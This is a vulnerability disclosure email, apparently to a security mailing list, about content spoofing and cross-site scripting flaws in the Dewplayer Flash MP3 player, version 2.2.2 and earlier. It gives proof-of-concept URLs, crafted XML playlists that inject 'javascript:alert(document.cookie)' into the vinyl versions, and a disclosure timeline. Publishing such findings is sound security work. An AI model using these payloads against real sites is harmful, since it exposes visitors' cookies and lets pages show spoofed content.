Hello 3APA3A!
I want to inform you about vulnerabilities in Dewplayer.
These are Content Spoofing and Cross-Site Scripting vulnerabilities. There are near 422 000 web sites with dewplayer.swf in Google's index. And it's just one file name and there are other file names of this player (such as dewplayer-en.swf and others).
Vulnerable are Dewplayer 2.2.2 and previous versions.
Alsacreations
http://www.alsacreations.fr
Content Spoofing (Content Injection) (WASC-12):
http://site/dewplayer.swf?mp3=1.mp3
http://site/dewplayer.swf?file=1.mp3
http://site/dewplayer.swf?sound=1.mp3
http://site/dewplayer.swf?son=1.mp3
This is for old versions of the player. In versions Dewplayer 2.x there is only mp3 from these 4 variants.
Content Spoofing (Content Injection) (WASC-12):
http://site/dewplayer.swf?xml=1.xml
1.xml
<playlist version="1">
<trackList>
<track>
<location>http://site/1.mp3</location>
<creator/>
<album/>
<title>Music</title>
<annotation/>
<duration/>
<image/>
<info/>
<link/>
</track>
</trackList>
</playlist>
2.xml (with image)
<playlist version="1">
<trackList>
<track>
<location>http://site/1.mp3</location>
<creator/>
<album/>
<title>Music</title>
<annotation/>
<duration/>
<image>http://site/1.jpg</image>
<info/>
<link/>
</track>
</trackList>
</playlist>
XSS (WASC-08):
Only vinyl version of Dewplayer are vulnerable to Cross-Site Scripting.
http://site/dewplayer-vinyl.swf?xml=xss.xml
http://site/dewplayer-vinyl-en.swf?xml=xss.xml
xss.xml
<playlist version="1">
<trackList>
<track>
<location>javascript:alert(document.cookie)</location>
<title>XSS</title>
</track>
</trackList>
</playlist>
http://site/dewplayer-vinyl.swf?xml=xss2.xml
http://site/dewplayer-vinyl-en.swf?xml=xss2.xml
xss2.xml
<playlist version="1">
<trackList>
<track>
<location>1.mp3</location>
<title>XSS</title>
<link>javascript:alert(document.cookie)</link>
</track>
</trackList>
</playlist>
2013.10.25 - announced at my site.
2013.10.26 - informed developers.
2013.12.19 - disclosed at my site (http://websecurity.com.ua/6831/).
Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua